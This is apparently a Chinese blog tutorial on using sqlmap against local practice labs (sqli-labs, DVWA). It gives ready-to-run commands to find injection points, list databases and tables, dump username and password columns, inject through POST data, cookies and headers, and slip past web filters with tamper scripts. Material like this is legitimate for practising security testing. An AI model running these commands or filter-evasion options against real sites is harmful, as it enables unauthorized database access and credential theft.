sql注入-sqlmap的使用方法

獲取一個url:
http://localhost/sqli-labs-master/Less-1/?id=1
判斷是否有注入:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1”
get型注入
查看所有數據庫:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” –dbs
查看當前使用的數據庫:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-db

在這裏插入圖片描述
查看當前用戶:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-user

在這裏插入圖片描述

查看數據表:python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security --tables
在這裏插入圖片描述

查看字段名:python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

在這裏插入圖片描述

查看數據:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security -T users -C username,password --dump

在這裏插入圖片描述

post型注入

1.指定post數據:python sqlmap.py –u “http://localhost/DVWA-master/vulnerabilities/sqli/” --data “post數據”
其餘參數同get
Cookie注入
指定cookiepython sqlmap.py –u “http://localhost/DVWA-
master/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie “…cookie值”
其餘參數同get
如果不掃描cookie參數可嘗試提高等級:–level 1-5
post與cookie舉例:
語句:python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --data "id=1&Submit=Submit" cookie"security=medium;PHPSESSID=d397avpf1n2jneqsfgo0etqjl6" --current-db --batch
在這裏插入圖片描述

2.指定.txt文件:python sqlmap.py –r .txt文件
其餘參數同get
http頭部注入
-r 測速.txt文件中帶*的注入點
post與Referer舉例:
語句:python sqlmap.py -r test.txt --current-db --batch
在這裏插入圖片描述
在這裏插入圖片描述在這裏插入圖片描述

使用sqlmap進繞過waf機制

介紹
sqlmap中的tamper給我們帶來了很多防過濾的腳本,非常實用,通過自帶的tamper,或者自行編寫tamper(路徑:安裝目錄sqlmap\tamper),可以幫助我們繞過waf進行自動化攻擊
使用
指定腳本:
–tamper “腳本名”(“apostrophemask”)
例:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --tamper “腳本名”
常用腳本:
apostrophemask.py:
用utf8代替引號–>(“1 AND ‘1’='1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’
base64encode.py :
用base64編碼替換–>(“1’ AND SLEEP(5)#”)‘MScgQU5EIFNMRUVQKDUpIw==’
multiplespaces.py:
圍繞SQL關鍵字添加多個空格–>(‘1 UNION SELECT foobar’)‘1 UNION SELECT foobar’
space2plus.py:
用+替換空格–>(‘SELECT id FROM users’)‘SELECT+id+FROM+users’
nonrecursivereplacement.py:
雙重查詢語句,取代predefined SQL關鍵字with表示suitable for替代(例如 .replace(“SELECT”、”")) filters–>(‘1 UNION SELECT 2–’)‘1 UNIOUNIONN SELESELECTCT 2–’
space2randomblank.py:
代替空格字符(“”)從一個隨機的空白字符可選字符的有效集–>(‘SELECT id FROM users’)‘SELECT%0Did%0DFROM%0Ausers’
unionalltounion.py:
替換UNION ALL SELECT UNION SELECT–>(’-1 UNION ALL SELECT’)’-1 UNION SELECT’
securesphere.py:
追加特製的字符串–>(‘1 AND 1=1’)“1 AND 1=1 and ‘0having’=‘0having’”
例:
語句:python sqlmap.py -u "http://localhost/sqli-labs-master/Less-21/index.php" --cookie "uname=admin" -p uname --tamper "base64encode" --level 5 --dbms mysql --dbs --batchl

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章